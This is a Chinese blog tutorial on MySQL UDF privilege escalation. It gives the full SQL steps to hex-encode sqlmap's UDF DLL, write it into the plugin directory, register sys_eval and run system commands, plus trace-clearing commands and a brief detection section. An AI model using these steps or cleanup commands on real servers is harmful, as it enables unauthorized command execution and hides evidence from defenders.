当前位置: 首页 > news >正文

Mysql-UDF提权

UDF(User Defined Function) 是用户自定义函数,是 MySQL 支持的一种机制,可以通过 C语言写动态链接库(.so / .dll),然后让 MySQL 调用这些函数,调用方式与一般系统自带的函数相同,例如user(),version()等函数。

前置条件

  1. 当前用户已经拿到 MySQL 的权限(通常是 root)
  2. MySQL 进程运行权限较高(如 root
  3. 文件写入权限plugin_dir 目录)
  4. 可以使用 CREATE FUNCTION 创建函数(有 CREATE 权限)

UDF 利用思路:

  1. 编写一个恶意的 C 语言动态库文件(比如 libudf.so
  2. 利用 SQL 将该库文件写入 MySQL 插件目录
  3. 通过 CREATE FUNCTION 注册恶意函数(如 sys_exec
  4. 调用该函数来执行系统命令(比如创建 SUID shell、添加用户等)

版本特性

udf提权操作中的一个步骤是将我们的udf文件上传到mysql的检索目录中,Windows系统下mysql各版本的检索目录有所不同:

  1. Mysql < 5.0

导出路径随意

  1. 5.0 <= Mysql < 5.1

Win2000导出路径: C:/Winnt/udf.dll

其他Windows系统导出路径均为:C:/Windows/udf.dll或C:/Windows/system32/udf.dll

  1. Mysql >= 5.1

Mysql安装目录的lib\plugin文件夹下,如果mysql安装时不选择完整安装或使用集成开发环境等情况下lib\plugin目录大概率是不存在的,需要自行创建

UDF文件位置

  1. sqlmap中:sqlmap\data\udf\mysql
  2. metaspliot中:/usr/share/metasploit-framework/data/exploits/mysql

操作步骤

1. 查看可导出文件位置

show variables like '%secure%';

2. 查看当前数据库用户权限

select * from mysql.user where user = substring_index(user(), '@', 1)\G;

3. 确实 mysql 安装位置

select @@basedir as basePath from dual ;

4. 通过主机版本及架构确认 mysql 位数

show variables like '%basedir%';

5. 查看数据库版本,判断udf文件写入位置

select version()

6. 当 mysql 大于 5.1 版本

查看 plugin 目录

  • 存在lib\plugin目录且有webshell时,直接上传udf文件
  • 存在lib\plugin目录但没有webshell时,则需要以16进制编码写入udf文件

首先将对应版本的udf文件进行16进制编码(sqlmap中的udf文件为防止误杀默认是经过异或编码的,需先使用sqlmap自带的脚本解码)

python extra/cloak/cloak.py -d -i data/udf/mysql/windows/32/lib_mysqludf_sys.dll_

然后 16 进制编码 udf 文件

select hex(load_file('C:\\lib_mysqludf_sys_32.dll')) into dumpfile 'C:\\lib_mysqludf_sys_32.txt';

将16进制编码后的 udf 文件使用 dumpfile 函数写入磁盘(outfile导出文件会在末尾写入新行且转义换行符,破坏二进制文件结构,dumpfile不会进行任何操作)

然后随便选一个数据库创建一个表并将二进制数据插入到十六进制编码流

(如果在低版本系统环境下(win2003)或部分特殊环境使用mysql命令提示符进行提权操作,由于不同环境下的mysql命令提示符可输入字符最大长度不同(win2003为8191,win10系统为65535),无法使用dumpfile一次性写入全部16进制字符,则需要将udf文件的16进制编码字符先进行切割,再拼接写入到一个表中,最后导出到目标系统

注意:在进行16进制数据切割时,每段字符的长度要为4的倍数,2进制转为16进制使用取四合一法,如果位数不够会在最高位补0,补0后会破坏原始二进制文件的文件结构导致利用失败,这也是很多人此方法复现失败的原因。)

然后导出表中数据到系统磁盘

select data from udf into dumpfile "C:\\Program Files\\MySQL\\MySQL Server 5.5\\lib\\plugin\\udf.dll";
  • 查看 plugin 目录,不存在 lib\plugin目录但有webshell,可使用webshell创建lib\plugin目录
  • 查看 plugin 目录,不存在 lib\plugin目录也没有webshell,那就没办法了

7. Mysql 小于 5.1 版本时

  • 有 webshell 时,通过 webshell
  • 无 webshell 时,使用 dumpfile 通过 16 进制数据流写入 udf 文件

8. 创建命令执行函数

使用winhex打开udf文件,在最下方可以看到udf文件提供的函数。

sys_eval,执行任意系统命令,并将输出返回。

sys_exec,执行任意系统命令,并将退出码返回(无命令执行结果回显)。

create function sys_eval returns string soname 'udf.dll';

命令执行:

select sys_eval("whoami");

痕迹清除

1、删除表

drop table udf;

2、删除函数

drop function sys_eval;

检测与应急响应思路

  • 查看 mysql.func 表中是否有可疑函数:
SELECT * FROM mysql.func;
  • 检查 plugin 目录是否存在异常 so 文件
ls -l /usr/lib/mysql/plugin/
  • 审查 auditd 日志是否有写入 so 文件的记录

---

Linux 环境下的 udf 提权大概率只存在与靶场环境中,原因:

在 Linux 严格的系统权限下,mysql 用户或 web 用户无 plugin 目录的写入权限

http://www.dtcms.com/a/295691.html

相关文章:

  • 家政小程序系统开发:开启智慧家政新时代
  • 详解力扣高频 SQL 50 题-1757.可回收且低脂的产品【入门】
  • 使用phpstudy极简快速安装mysql
  • LLM层归一化:γβ与均值方差的协同奥秘
  • 用 Function Call 让 AI 主动调用函数(超入门级示例)|保姆级大模型应用开发实战
  • day 34 打卡
  • LLM中典型的Transformer层中:MLP Residual; LN Agg: μ, σ; SM Agg 是什么意思
  • [202103][Docker 实战][第2版][耿苏宁][译]
  • [Linux入门] Linux 网络设置入门:从查看、测试到配置全攻略
  • 进阶系统策略
  • 二分查找----4.搜索旋转排序数组
  • 为什么Java的String不可变?
  • 洛谷P1512 伊甸园日历游戏
  • Qt(资源库和按钮组)
  • Django基础(八)———数据库外键及表关系
  • DRF - 博客列表API
  • GaussDB 数据库架构师(八) 等待事件概述-1
  • Spring Boot项目的模块继承父项目的全部依赖
  • 中国5G RedCap基站开通情况及2025年全年计划
  • 【ComfyUI学习笔记03】案例学习:图片放大的3个基本工作流
  • 基于规则架构风格对业务的重构
  • 与deepseek的问答:dot net与Borland VCL的关系
  • 抖音小游戏好做吗?
  • MySQL的底层原理--InnoDB记录存储结构
  • 【Unity开发】飞机大战项目实现总结
  • Unity GC 系列教程第四篇:GC Alloc 优化技巧与实践(下)与 GC 调优
  • DBA常用数据库查询语句(2)
  • 【学习路线】JavaScript全栈开发攻略:前端到后端的完整征程
  • Redis数据库入门教程
  • Windchill用SQL获取所有组织下的所有用户